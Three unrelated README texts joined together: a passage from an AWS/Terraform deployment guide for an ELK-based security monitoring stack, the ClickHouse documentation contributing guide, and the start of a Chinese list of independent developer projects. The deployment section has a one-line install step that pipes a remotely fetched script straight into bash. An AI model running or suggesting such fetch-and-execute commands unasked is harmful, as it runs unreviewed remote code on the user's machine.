- [HIPAA](https://www.hhs.gov/hipaa/for-professionals/security/laws-regulations/index.html)
- [FedRAMP](https://www.fedramp.gov/about-us/about/)
Components:
- [Ubuntu 16.04](https://wiki.ubuntu.com/XenialXerus/ReleaseNotes)
- [osquery 2.11.0](https://github.com/facebook/osquery/releases) (Dec 18, 2017) - enpoint visibility
- [Elastic 6.4.0](https://github.com/elastic/beats/releases) (Aug 23, 2018)
- [Auditbeat](https://www.elastic.co/products/beats/audibeat) - system action monitor
- [Filebeat](https://www.elastic.co/products/beats/filebeat) - log file collector
- [Metricbeat](https://www.elastic.co/products/beats/metricbeat) - metric collector
- [Packetbeat](https://www.elastic.co/products/beats/packetbeat) - network analytics collector
- [Heartbeat](https://www.elastic.co/products/beats/heartbeat) - uptime monitor
- [Elasticsearch](https://www.elastic.co/products/elasticsearch) - document-store database
- [Logstash](https://www.elastic.co/products/logstash) - log file processor
- [Kibana](https://www.elastic.co/products/kibana) - metric and log dashboards
- [Zookeeper 3.4.8](https://zookeeper.apache.org/) (Feb 20, 2016) - server coordinator
- [Kafka 2.0.0](https://kafka.apache.org/) - message queue
- [ModSecurity](https://www.modsecurity.org/) (Jul 30, 2018) - Apache firewall
- [McAfee MySQL Audit Plugin](https://github.com/mcafee/mysql-audit) - MySQL security logging
The firewall rules are set to only allow your **personal IP address**. You can
customize configuration by changing the **var.yml** files in the **ansbible
folders**. The central Terraform config file is [here](https://github.com/apolloclark/argos/blob/master/terraform/variables.tf#L60).
<br/><br/><br/>
## Before You Begin
If you haven't already configured the AWS CLI, or another SDK, on the machine
where you will be running Terraform you should follow these instructions to
setup the AWS CLI and create a credential profile which Terraform will use for
authentication:
http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html
<br/><br/><br/>
## Single-step Deploy
```shell
# you trust rando scripts from the internet, right? 😎
curl -s https://raw.githubusercontent.com/apolloclark/argos/master/single_step_deploy.sh | bash -
```
## Deploy
```shell
# install Terraform, Packer, Ansible, Serverspec
# create an EC2 keypair named "packer"
aws ec2 create-key-pair --key-name packer --query "KeyMaterial" \
--output text > ~/.ssh/packer.pem
# configure key file permissions
chmod 0600 ~/.ssh/packer.pem
# add the newly created key to the keychain
ssh-add ~/.ssh/packer.pem
# download project, and the nested submodules
git clone --recurse-submodules https://github.com/apolloclark/argos
cd ./argos/aws-ec2
# use Packer to build the AWS AMI's, takes ~ 40 minutes
./build_packer_aws.sh
# deploy AWS infrastructure with Terraform, takes ~ 5 minutes
./build_terraform.sh
# Add the packer.pem to the local ssh agent
chmod 0600 ~/.ssh/packer.pem
ssh-add -k ~/.ssh/packer.pem
ssh-add -l | grep "packer"
# Retrieve the Bastion host Public IP, and Kibana host Private IP
export BASTION_IP=$(aws ec2 describe-addresses --filters 'Name=tag:Name,Values=tf-bastion_eip' --query 'Addresses[].PublicIp' --output text);
export KAFKA_IP=$(aws ec2 describe-addresses --filters 'Name=tag:Name,Values=tf-kafka_eip' --query 'Addresses[].PrivateIpAddress' --output text);
export LOGSTASH_IP=$(aws ec2 describe-addresses --filters 'Name=tag:Name,Values=tf-logstash_eip' --query 'Addresses[].PrivateIpAddress' --output text);
printenv | grep "_IP"
# SSH into the Bastion host, forwarding the packer key
ssh -A ubuntu@$BASTION_IP
# check the user data startup script log
sudo nano /var/log/cloud-init-output.log
# SSH into the Bastion host, creating a tunnel to view Kibana
ssh -L 5601:$KAFKA_IP:5601 ubuntu@$BASTION_IP
# Open a Browser, to view Kibana
google-chrome 127.0.0.1:5601
```
## Update
```shell
# update submodules
git submodule update --recursive --remote
```
## Custom website
```shell
# edit the contents of the webapp "EC2 User Data" startup script:
https://github.com/apolloclark/argos/blob/master/terraform/webapp/userdata.sh#L21
OR
# fork this repo, and have your website baked into the base EC2 webapp AMI
https://github.com/apolloclark/packer-aws-webapp/blob/master/ansible/playbook.yml
```
<br/><br/><br/>
## Network Diagram
<br/><br/><br/>
## Overview
Terraform project for deploying and monitoring a multi-tier webservice including:
- [Amazon AWS](https://aws.amazon.com/)
- [AWS VPC (Virtual Private Cloud)](https://docs.aws.amazon.com/AmazonVPC/latest/GettingStartedGuide/ExerciseOverview.html)
- [SSH Bastion Host, with AWS EIP (Elastic IP)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html)
- [Private Subnet network, with only SSH Bastion access](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_Scenario4.html)
- [AWS RDS (Relational Database Service)](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Welcome.html)
- [AWS ALB (Application Load Balancer)](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/introduction.html)
- [AWS ASG (Auto-scaling Groups)](https://docs.aws.amazon.com/autoscaling/ec2/userguide/what-is-amazon-ec2-auto-scaling.html)
- [AWS Cloudwatch Metric Alarms](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html)
- [AWS Autoscaling Policy Triggers](https://docs.aws.amazon.com/autoscaling/ec2/userguide/as-scale-based-on-demand.html)
- [AWS KMS (Key Management System)](https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingKMSEncryption.html)
- [AWS IAM Role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
- [AWS IAM Policy](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html)
- [AWS IAM Instance Profile](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html)
- [AWS SSM Parameter Store (System Service Manager)](https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-paramstore.html)
- [ELK Stack](https://www.elastic.co/elk-stack)
<br/><br/><br/>
## Roadmap:
- [ElastAlert](https://github.com/Yelp/elastalert)
- [AWS S3 bucket for log collection](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/S3ExportTasks.html)
- [AWS IAM role for accessing S3 logs bucket](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/iam-identity-based-access-control-cwl.html#w2ab1c21c13c23b9)
- [AWS CloudTrail Logs](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-user-guide.html)
- [AWS VPC Flow Logs](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/flow-logs.html)
<br/>
- [AWS Guard Duty](https://docs.aws.amazon.com/guardduty/latest/ug/what-is-guardduty.html)
- [AWS WAF (Web Application Firewall)](https://docs.aws.amazon.com/waf/latest/developerguide/what-is-aws-waf.html)
- [AWS Lamda rules for dynamic WAF rules](https://docs.aws.amazon.com/lambda/latest/dg/welcome.html)
- [AWS SES (Simple Email Service) for alerts](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/monitor-sending-using-notifications.html)
<br/>
- [AWS S3 bucket for file hosting](https://docs.aws.amazon.com/AmazonS3/latest/dev/Welcome.html)
- [AWS ElastiCache for Redis](https://docs.aws.amazon.com/opsworks/latest/userguide/other-services-redis-cluster.html)
<br/>
- [Jenkins](https://jenkins.io/) - build automation
- [Packer](https://www.packer.io/) - VM / AMI builder
- [JMeter](http://jmeter.apache.org/) - stress testing
- [Gitlab](https://about.gitlab.com/) - source code repo
<br/>
- [HAProxy](http://www.haproxy.org/) - TCP/HTTP Load Balancer
- [Nginx](https://www.nginx.com/resources/admin-guide/tcp-load-balancing/) - TCP/UDP Load Balancer
- [ProxySQL](http://www.proxysql.com/) - SQL Load Balancer
<br/>
- [Varnish Cache](https://varnish-cache.org/) - HTTP cache
<br/><br/><br/>
# Tech Debt
- [use AWS RDS](https://github.com/apolloclark/packer-aws-webapp/blob/master/ansible/playbook.yml#L17-L19)
<br/><br/><br/>
## Log Files
*authlog*
```
nano /var/log/auth.log
```
*apache*
```
service apache2 status | cat
nano /var/log/apache2/access.log
nano /var/log/apache2/audit.log
nano /var/log/apache2/error.log
```
*mysql*
```
nano /var/log/mysql/audit.log
```
*osquery*
```
nano /var/log/osquery/osqueryd.results.log
nano /var/log/osquery/osqueryd.INFO
nano /var/log/osquery/osqueryd.WARNING
```
*Filebeat*
```
service filebeat status | cat
/usr/share/filebeat/bin/filebeat version
nano /etc/filebeat/filebeat.yml
nano /var/log/filebeat/filebeat.log
tail -f /var/log/filebeat/filebeat.log
```
*Metricbeat*
```
service metricbeat status | cat
/usr/share/metricbeat/bin/metricbeat version
nano /etc/metricbeat/metricbeat.yml
nano /var/log/metricbeat/metricbeat.log
```
*Heartbeat*
```
service heartbeat status | cat
/usr/share/heartbeat/bin/heartbeat version
nano /etc/heartbeat/heartbeat.yml
nano /var/log/heartbeat/heartbeat.log
tail -f /var/log/heartbeat/heartbeat.log
```
*Packetbeat*
```
service packetbeat status | cat
/usr/share/heartbeat/bin/heartbeat version
nano /etc/heartbeat/heartbeat.yml
nano /var/log/heartbeat/heartbeat.log
tail -f /var/log/heartbeat/heartbeat.log
```
*Auditbeat*
```
service auditbeat status | cat
/usr/share/auditbeat/bin/auditbeat version
nano /etc/auditbeat/auditbeat.yml
nano /var/log/auditbeat/auditbeat
tail -f /var/log/auditbeat/auditbeat
```
*Logstash*
```
service logstash status | cat
/usr/share/logstash/bin/logstash --version
nano /etc/logstash/logstash.yml
nano /var/log/logstash/logstash-plain.log
tail -f /var/log/logstash/logstash-plain.log
```
*Elasticsearch*
```
# Elasticsearch 5.x cheat sheet
# https://gist.github.com/apolloclark/c9eb0c1a01798ac2e48492ceeb367a4f
service elasticsearch status
/usr/share/elasticsearch/bin/elasticsearch --version
nano /etc/elasticsearch/elasticsearch.yml
nano /var/log/elasticsearch/elasticsearch.log
tail -f /var/log/elasticsearch/elasticsearch.log
# list indices
curl -XGET 'http://127.0.0.1:9200/_cat/indices?v'
```
*Kibana*
```
service kibana status
/usr/share/kibana/bin/kibana --version
nano /etc/kibana/kibana.yml
nano /var/log/kibana/kibana.log
```
<br/><br/><br/>
## VM Images, Ansible Roles
**[packer-aws-beats](https://github.com/apolloclark/packer-aws-beats)**
- [geerlingguy.firewall](https://github.com/geerlingguy/ansible-role-firewall)
- [geerlingguy.git](https://github.com/geerlingguy/ansible-role-git)
- [apolloclark.nano_highlighting](https://github.com/apolloclark/ansible-role-nano-highlighting)
- [apolloclark.osquery](https://github.com/apolloclark/ansible-role-osquery)
- [apolloclark.auditbeat](https://github.com/apolloclark/ansible-role-auditbeat)
- [apolloclark.filebeat](https://github.com/apolloclark/ansible-role-filebeat)
- [apolloclark.heartbeat](https://github.com/apolloclark/ansible-role-heartbeat)
- [apolloclark.metricbeat](https://github.com/apolloclark/ansible-role-metricbeat)
- [apolloclark.packetbeat](https://github.com/apolloclark/ansible-role-packetbeat)
- **[packer-aws-webapp](https://github.com/apolloclark/packer-aws-webapp)**
- [geerlingguy.firewall](https://github.com/geerlingguy/ansible-role-firewall)
- [geerlingguy.apache](https://github.com/geerlingguy/ansible-role-apache)
- [apolloclark.apache-modsecurity](https://github.com/apolloclark/ansible-role-apache-modsecurity)
- [apolloclark.mysql](https://github.com/apolloclark/ansible-role-mysql)
- [apolloclark.mysql-mcafee-audit](https://github.com/apolloclark/ansible-role-mysql-mcafee-audit)
- [geerlingguy.php-versions](https://github.com/geerlingguy/ansible-role-php-versions)
- [geerlingguy.php](https://github.com/geerlingguy/ansible-role-php)
- [geerlingguy.apache-php-fpm](https://github.com/geerlingguy/ansible-role-apache-php-fpm)
- [geerlingguy.php-mysql](https://github.com/geerlingguy/ansible-role-php-mysql)
- [geerlingguy.composer](https://github.com/geerlingguy/ansible-role-composer)
- **[packer-aws-java](https://github.com/apolloclark/packer-aws-java)**
- [geerlingguy.java](https://github.com/geerlingguy/ansible-role-java)
- **[packer-aws-elk](https://github.com/apolloclark/packer-aws-elk)**
- [apolloclark.zookeeper](https://github.com/apolloclark/ansible-role-zookeeper)
- [apolloclark.kafka](https://github.com/apolloclark/ansible-role-kafka)
- [apolloclark.elasticsearch](https://github.com/apolloclark/ansible-role-elasticsearch)
- [apolloclark.logstash](https://github.com/apolloclark/ansible-role-logstash)
- [apolloclark.kibana](https://github.com/apolloclark/ansible-role-kibana)
---
- **packer-aws-kafka**
- Kafka node
- **packer-aws-logstash**
- Logstash node
- **packer-aws-es_node**
- Elasticsearch node
---
- **packer-aws-repo**
- gitlab
- apt-get repo
- **packer-aws-builder**
- Jenkins
- Packer
- **packer-aws-builder_node**
- Jenkins node
- **packer-aws-stresser**
- JMeter
- **packer-aws-stresser_node**
- JMeter node
---
- **packer-aws-http_cache**
- Varnishcache
- **packer-aws-tcp_proxy**
- HAProxy
- **packer-aws-sql_proxy**
- ProxySQL
<br/><br/><br/>
## Dashboards
**1. Inventory Management**
If you want to protect a network, you need to protect everything everywhere.
Attacks target the oldest and most obscure systems on your network.
**2. Access Management**
Even if you're running the latest patched version of everything, a default login,
weak login, or reused login is easily exploited.
**3. Patch Management**
If you're running End-of-Life (EOL) operating systems or packages that are more
than 1 month old, you are vulnerable to CRITICAL and HIGH severity vulnerabilities.
**4. Configuration Management**
Accounting for everything, keeping logins secure, and patching everything, is
useless if the service is configured in an insecure way. All configuration
changes need to be tracked.
**5. Metrics and Logging**
How will you know something is being attacked if you're not monitoring it? Logs
provide a lot of value, and should be easily correlated with metrics to
add more context to the event.
**6. Alerts**
Baseline the system, and create alerts for anything that's out of the ordinary.
**7. Automated Remediation**
After the alerts have been proven reliable, responses can be automated.
<br/><br/><br/>
## Secrets Management
Deploying infrastructure at scale requires automation. Hostnames, IP addresses,
usernames, passwords, security certificates, keys, and other credentials should
not be hardcoded into VM images, be easily revoked, with all access monitored
and logged. There are multiple services available, such as:
- [Ansible Vault](https://docs.ansible.com/ansible/2.4/vault.html)
- [HashiCorp Vault](https://www.vaultproject.io/)
- [Conjur](https://developer.conjur.net/)
- [Amazon AWS KMS](https://docs.aws.amazon.com/kms/latest/developerguide/overview.html)
- [Amazon AWS Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-paramstore.html)
- [Infrastructure Secret Management Software Overview](https://gist.github.com/maxvt/bb49a6c7243163b8120625fc8ae3f3cd)
Initially I was going to use the AWS Key Management Service, but it has a limit
of [1024 bytes](https://docs.aws.amazon.com/kms/latest/APIReference/API_GenerateDataKey.html#API_GenerateDataKey_RequestParameters)
per key, which is too small for things like SSL Certificates. Instead I chose
the Amazon Parameter Store (released Jan 2017), which allows up to [4096 bytes](https://docs.aws.amazon.com/general/latest/gr/aws_service_limits.html#limits_ssm).
Process:
- [KMS Key](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/kms/main.tf#L5-L10)
- IAM Role
- [allow services to assume role](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/iam/main.tf#L7-L28)
- IAM Policy Document
- [allow access to KMS Key, by ARN](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/iam/main.tf#L67-L76)
- [allow access to Parameter Store, by Name](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/iam/main.tf#L89-L99)
- IAM Role Policy
- [attach Policy Document to Role, by Id](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/iam/main.tf#L103-L107)
- IAM Instance Profile
- [attach Role to Instance Profile, by Name](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/iam/main.tf#L120-L123)
- [Deploy AWS resources](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/main.tf)
- SSM Parameter(s)
- [store parameters, by KMS Key Id](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/parameter-store/parameter-store.tf)
- EC2 / ASG
- [attach IAM Instance Profile, by Profile Name](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/layer-asg/layer-lc.tf#L16)
- [configure User Data shell script](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/layer-asg/layer-lc.tf#L15) [(docs)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html#user-data-shell-scripts)
- [retrieve Parameter(s), with Ansible, using IAM Instance Profile](https://github.com/apolloclark/packer-aws-webapp/blob/master/config/ansible/vars_ssm.yml#L5)
- [run Ansible, configure services](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/files/webapp_user_data.sh#L7-L15)
- [run Serverspec tests, confirm configuration](https://github.com/apolloclark/argos/blob/master/aws-ec2/terraform/files/webapp_user_data.sh#L17-L20)
<br/><br/><br/>
## Deployment Details
Steps:
- VPC
- Security Groups
- KMS
- custom key
- IAM
- Roles
- Policy Documents
- Role Policies
- Instance Profiles
- RDS Aurora
- ELK Master
- Security Groups
- Elastic IP
- EC2 Instance
- Parameter Store
- save RDS config
- save ELK config
- Bastion host
- Security Groups
- Elastic IP
- EC2 Instance
- Webapp ASG
- Security Groups
- Application Load Balancer
- Launch Configuration
- Auto Scaling Group
- Auto Scaling Triggers
- Private Network
<br/><br/><br/>
## Project Values
I've been developing websites since 2001. Here are the values I've built this
project around:
**1. Measurable value**
- usage analytics
- time spent on feature
- completed transactions
- monthly, weekly, daily, hourly reports
**2. Maintainable**
- automated code quality tests
- easy for a new engineer to use
- single step deploy
- follows RFC standards
- follows programming language standards
- follows OS standards
- code is less than 80 chars wide
- use as few lines as possible
- use Ansible instead of Bash
- Bash scripts are less than 50 lines
- Packer scripts are less than 100 lines
- documentation is 1/4 or more of code
- documentation is standardized, consistent
- decompose components into seperate projects
- doesn't use complex lambda, regex, or obscure functions
- uses popular libraries
**3. Resilient**
- log monitoring
- input validation
- error condition handling
- withstands "Big List of Naughty Strings"
- error logging, alerts
**4. Performant**
- metrics monitoring, alerts
- withstands simulated peak usage
- auto-scales
**5. Secure**
- security log monitoring, alerts
- access control
- no bypass without authentication
- doesn't allow privileged access between users
- no SQL injection
- no XSS
<br/><br/><br/>
## Contact
twitter - [@apolloclark](https://twitter.com/apolloclark)<br/>
email - [email protected]
I live in Boston, so am generally available 9 AM EST to 5 PM EST, Mon - Fri.
<br/><br/><br/>
## References
- [Security Onion - ELK Threat Hunting, for Windows](https://github.com/Security-Onion-Solutions/security-onion/wiki/Elastic)
- [SIEMonster - ELK SIEM](https://siemonster.com/)
- [HELK - Hunting ELK for Windows, w/ Hadoop, Spark, GraphFrames, Jupyer](https://github.com/Cyb3rWard0g/HELK)
- [Skew - package for identifying and enumerating cloud resources.](https://github.com/scopely-devops/skew)
- [411 - ELK alert managmenet](https://github.com/etsy/411)
- [ESQuery - query parser for Elasticsearch](https://github.com/kiwiz/esquery)
- [Elastalert - alerting with Elasticsearch](https://github.com/Yelp/elastalert)
- [VulnWhisperer - vulnerability data and report aggregator](https://github.com/austin-taylor/VulnWhisperer)
- [Elasticsearch and SIEM: implementing host portscan detection](https://www.elastic.co/blog/elasticsearch-and-siem-implementing-host-portscan-detection)
- [CloudWatch Logs Subscription Consumer + Elasticsearch + Kibana Dashboards](https://aws.amazon.com/blogs/aws/cloudwatch-logs-subscription-consumer-elasticsearch-kibana-dashboards/)
- [VPC Flow Log Analysis with the ELK Stack](https://logz.io/blog/vpc-flow-log-analysis/)
|
# Contributing to ClickHouse Documentation
## Why Do You Need to Document ClickHouse
The main reason is that ClickHouse is an open source project, and if you don't write the docs, nobody does. "Incomplete or Confusing Documentation" is the top complaint about open source software by the results of a [Github Open Source Survey](http://opensourcesurvey.org/2017/) of 2017. Documentation is highly valued but often overlooked. One of the most important contributions someone can make to an open source repository is a documentation update.
Many developers can say that the code is the best docs by itself, and they are right. But, ClickHouse is not a project for C++ developers. Most of its users don't know C++, and they can't understand the code quickly. ClickHouse is large enough to absorb almost any change without a noticeable trace. Nobody will find your very useful function, or an important setting, or a very informative new column in a system table if it is not referenced in the documentation.
If you want to help ClickHouse with documentation you can face, for example, the following questions:
- "I don't know how to write."
We have prepared some [recommendations](#what-to-write) for you.
- "I know what I want to write, but I don't know how to contribute to docs."
Here are some [tips](#how-to-contribute).
Writing the docs is extremely useful for project's users and developers, and grows your karma.
**Contents**
- [What is the ClickHouse Documentation](#clickhouse-docs)
- [How to Contribute to ClickHouse Documentation](#how-to-contribute)
- [Markdown Dialect Cheatsheet](#markdown-cheatsheet)
- [Adding a New File](#adding-a-new-file)
- [Adding a New Language](#adding-a-new-language)
- [How to Write Content for ClickHouse Documentation](#what-to-write)
- [Documentation for Different Audience](#target-audience)
- [Common Recommendations](#common-recommendations)
- [Description Templates](#templates)
- [How to Build Documentation](#how-to-build-docs)
<a name="clickhouse-docs"/>
## What is the ClickHouse Documentation
The documentation contains information about all the aspects of the ClickHouse lifecycle: developing, testing, installing, operating, and using. The base language of the documentation is English. The English version is the most actual. All other languages are supported as much as they can by contributors from different countries.
At the moment, [documentation](https://clickhouse.com/docs) exists in English, Russian, and Chinese. We store the reference documentation besides the ClickHouse source code in the [GitHub repository](https://github.com/ClickHouse/ClickHouse/tree/master/docs), and user guides in a separate repo [Clickhouse/clickhouse-docs](https://github.com/ClickHouse/clickhouse-docs).
To get the latter launch the `get-clickhouse-docs.sh` script.
Each language lies in the corresponding folder. Files that are not translated from English are symbolic links to the English ones.
<a name="how-to-contribute"/>
## How to Contribute to ClickHouse Documentation
You can contribute to the documentation in many ways, for example:
- Fork the ClickHouse and ClickHouse-docs repositories, edit, commit, push, and open a pull request.
Add the `pr-documentation` label to this pull request for proper automatic checks applying. If you do not have permission to add labels, then the reviewer of your PR will add it.
- Open a required file in the ClickHouse repository and edit it from the GitHub web interface.
You can do it on GitHub, or on the [ClickHouse Documentation](https://clickhouse.com/docs/en/) site. Each page of ClickHouse Documentation site contains an "Edit this page" (🖋) element in the upper right corner. Clicking this symbol, you get to the ClickHouse docs file opened for editing.
When you are saving a file, GitHub opens a pull-request for your contribution. Add the `documentation` label to this pull request for proper automatic checks applying. If you have no permissions for adding labels, the reviewer of your PR adds it.
Contribute all new information in English language. Other languages are translations from English.
<a name="markdown-cheatsheet"/>
### Markdown Dialect Cheatsheet
- Headings: Place them on a separate line and start with `# `, `## ` or `### `. Use the [Title Case](https://titlecase.com/) for them. Example:
```text
# The First Obligatory Title on a Page.
```
- Bold text: `**asterisks**` or `__underlines__`.
- Links: `[link text](uri)`. Examples:
- External link: `[ClickHouse repo](https://github.com/ClickHouse/ClickHouse)`
- Cross link: `[How to build docs](tools/README.md)`
- Images: ``. You can refer to local images as well as remote in internet.
- Lists: Lists can be of two types:
- `- unordered`: Each item starts from the `-`.
- `1. ordered`: Each item starts from the number.
A list must be separated from the text by an empty line. Nested lists must be indented with 4 spaces.
- Inline code: `` `in backticks` ``.
- Multiline code blocks:
<pre lang="no-highlight"><code>```lang_name
code
lines
```</code></pre>
- Note:
```text
!!! info "Header"
4 spaces indented text.
```
- Warning:
```text
!!! warning "Header"
4 spaces indented text.
```
- Text hidden behind a cut (single sting that opens on click):
```text
<details markdown="1"> <summary>Visible text</summary>
Hidden content.
</details>`.
```
- Colored text: `<span style="color: red;">text</span>`.
- Heading anchor to be linked to: `# Title {#anchor-name}`.
- Table:
```
| Header 1 | Header 2 | Header 3 |
| ----------- | ----------- | ----------- |
| Cell A1 | Cell A2 | Cell A3 |
| Cell B1 | Cell B2 | Cell B3 |
| Cell C1 | Cell C2 | Cell C3 |
```
<a name="adding-a-new-file"/>
### Adding a New File
{## When adding a new file:
- Make symbolic links for all other languages. You can use the following commands:
```bash
$ cd /ClickHouse/clone/directory/docs
$ ln -sr en/new/file.md lang/new/file.md
```
##}
<a name="adding-a-new-language"/>
### Adding a New Language
1. Create a new docs subfolder named using the [ISO-639-1 language code](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes).
2. Add Markdown files with the translation, mirroring the folder structure of other languages.
3. Commit and open a pull-request with the new content.
When everything is ready, we will add the new language to the website.
<a name="what-to-write"/>
## How to Write Content for ClickHouse Documentation
<a name="target-audience"/>
### Documentation for Different Audiences
When writing documentation, think about the people who read it. Each audience has specific requirements for terms they use in communications.
ClickHouse documentation can be divided up by the audience for the following parts:
- Conceptual topics like tutorials and overviews.
These topics are for the most common audience. When editing text in them, use the most common terms that are comfortable for the audience with basic technical skills.
- Query language reference and related topics.
These parts of the documentation are dedicated to those who use ClickHouse for data analysis. Carefully describe syntax, input, and output data for expressions. Don't forget the examples.
- Description of table engines and operation details.
Operation engineers who help data analysts to solve their tasks should know how to install/update a ClickHouse server, maintain the ClickHouse cluster, how to integrate it with other tools and systems, how to get the maximum performance of their entire environment.
- Developer's guides.
The documentation provides code writers with information about how to write code for ClickHouse and how to build it in different environments.
<a name="common-recommendations"/>
### Common Recommendations
- When searching for a position for your text, try to place it in the most anticipated place.
- Group entities. For example, if several functions solve similar tasks or belong to a specific group by use case or an application type, place them together.
- Try to avoid slang. Use the most common and specific terms possible. If some terms are used as synonyms, state this explicitly.
- Add examples for all the functionality. Add basic examples to show how the function works by itself. Add use case examples to show how the function participates in solving specific tasks.
- Any text concerning politics, religion, or other social related themes are strictly prohibited in all the ClickHouse texts.
- Proofread your text before publishing. Look for typos, missing punctuation, or repetitions that could be avoided.
<a name="templates"/>
### Description Templates
When writing docs, you can use prepared templates. Copy the code of a template and use it in your contribution. Sometimes you just need to change level of headers.
Templates:
- [Function](_description_templates/template-function.md)
- [Setting](_description_templates/template-setting.md)
- [Server Setting](_description_templates/template-server-setting.md)
- [Database or Table engine](_description_templates/template-engine.md)
- [System table](_description_templates/template-system-table.md)
- [Data type](_description_templates/template-data-type.md)
- [Statement](_description_templates/template-statement.md)
<a name="how-to-build-docs"/>
## How to Build Documentation
You can build your documentation manually by following the instructions in the docs repo [contrib-writing-guide](https://github.com/ClickHouse/clickhouse-docs/blob/main/contrib-writing-guide.md). Also, our CI runs the documentation build after the `documentation` label is added to PR. You can see the results of a build in the GitHub interface. If you have no permissions to add labels, a reviewer of your PR will add it.
|
## 中国独立开发者项目列表
聚合所有中国独立开发者的项目
#### [程序员版点这里](https://github.com/1c7/chinese-independent-developer/blob/master/README-Programmer-Edition.md)：
程序员版的项目需要用命令行或写一点代码。主版面(这里)是给普通用户用的，打开即用，无需命令行或编程基础
**1. 为什么有这个表**
作为开发者其实比较好奇其他人在做什么业余项目（不管目的是做到盈利/玩票/试试看）
所以特意建了这个库。欢迎各位开发者把自己的项目加进来~ 发 Pull Request 或 Issue 即可 <br/>
（入选标准：必须是网站或App，不能是开发者工具或论坛型网站）
**2. 项目有 3 种状态**
| 开发中 | 已上线 | 已关闭或缺乏维护 |
|--------|--------|--------|
| :clock8: | :white_check_mark: | :x: |
### 社区投票
<a href="https://creatorsdaily.com/c2102b74-878e-4a2b-9c86-caf7bdf14cb9?utm_source=vote" target="_blank"><img src="https://creatorsdaily.com/api/c2102b74-878e-4a2b-9c86-caf7bdf14cb9/vote.svg?theme=light" /></a>
## 3. 项目列表
（名字按时间排序，最新添加的在最上面）
### 2023年8月15号添加
---
#### JustAIGithub(北京) - [Github](https://github.com/JustAIGithub/AI-Code-Convert)
* :white_check_mark: [AICodeConvert](https://aicodeconvert.com/)：将自然语言转代码,将一种代码语言转另一种代码语言实现 - [更多介绍](https://blog.aicodeconvert.com/)
#### limaoyi1(长沙) - [Github](https://github.com/limaoyi1), [博客](http://www.limaoyi.top/)
* :white_check_mark: [Genshin-GPT](http://www.limaoyi.top:4400/)：基于langchain和向量知识库模仿原神角色的对话GPT,让三次元的人可以和游戏中的角色自由的对话 - [更多介绍](https://github.com/limaoyi1/Genshin-GPT)
### 2023年8月4号添加
---
#### 叫我强哥(杭州) - [Github](https://github.com/zhangya4548), [博客](http://jianju.3ddysj.com)
* :white_check_mark: [不懂药问](https://www.v2ex.com/t/962506)：查询医保用药的微信小程序
### 2023年8月1号添加
---
#### Dreamer365 - [Github](https://github.com/Dreamer365/topspeed-image-compressor), [Gitee](https://gitee.com/dreamer365/topspeed-image-compressor)
* :white_check_mark: [极速图片压缩器](https://github.com/Dreamer365/topspeed-image-compressor)：一款速度极快的图片压缩软件
### 2023年7月29号添加
---
#### booboosui(北京) - [Github](https://github.com/kuafuai/DevOpsGPT/blob/master/docs/README_CN.md)
* :white_check_mark: [DevOpsGPT](http://www.kuafuai.net/devopsgpt)：面向任何人，AI 将需求转化为可工作软件 - [更多介绍](https://github.com/kuafuai/DevOpsGPT/blob/master/docs/README_CN.md)
#### Thawne - [Github](https://github.com/aiguoli)
* 🕗 [SimpleList](https://github.com/aiguoli/SimpleList)：管理 OneDrive 文件 (基于 WinUI3 开发的桌面端 App)
### 2023年7月26号添加
---
#### discountry - [Github](https://github.com/discountry), [博客](https://yubolun.com/)
* :white_check_mark: [SigniFi](https://www.signifi.life/)：AI 塔罗牌占卜，DApp
#### heygsc - [Github](https://github.com/heygsc)
* :white_check_mark: [单词之风](https://word-wind.pages.dev/)：简洁的背单词页面，词库丰富，有标记列表等功能
### 2023年7月23号添加
---
#### 五块一 - [Github](https://github.com/WuKaiYi/AI_painter), [Bilibili](https://space.bilibili.com/3430120)
* :white_check_mark: [机画师](https://apps.apple.com/us/app/id1644645946)：一个基于 Stable Diffusion 的 AI 绘图 App
#### hoochanlon - [Github](https://github.com/hoochanlon), [博客](https://hoochanlon.github.io)
* :white_check_mark: [Nigate](https://github.com/hoochanlon/Free-NTFS-For-Mac)：一款支持苹果芯片的 Free NTFS for Mac 小工具软件
#### Sunrisepeak - [Github](https://github.com/Sunrisepeak), [Bilibili](https://space.bilibili.com/65858958), [知乎](https://www.zhihu.com/people/SPeakShen)
* :white_check_mark: [KHistory](https://github.com/Sunrisepeak/KHistory)：🔥一个优雅&跨平台的 键盘/🎮手柄按键 检测及历史记录显示工具, 无需安装单可执行文件 (约900kb大小) 即点即用
### 2023年7月22号添加
---
#### Tw93 - [Github](https://github.com/tw93), [Twitter](https://twitter.com/HiTw93), [博客](https://tw93.fun)
* :white_check_mark: [妙言](https://github.com/tw93/MiaoYan)：轻灵的 Markdown 笔记本伴你写出妙言
### 2023年7月21号添加
---
#### Tan(佛山) - [Github](https://github.com/tans)
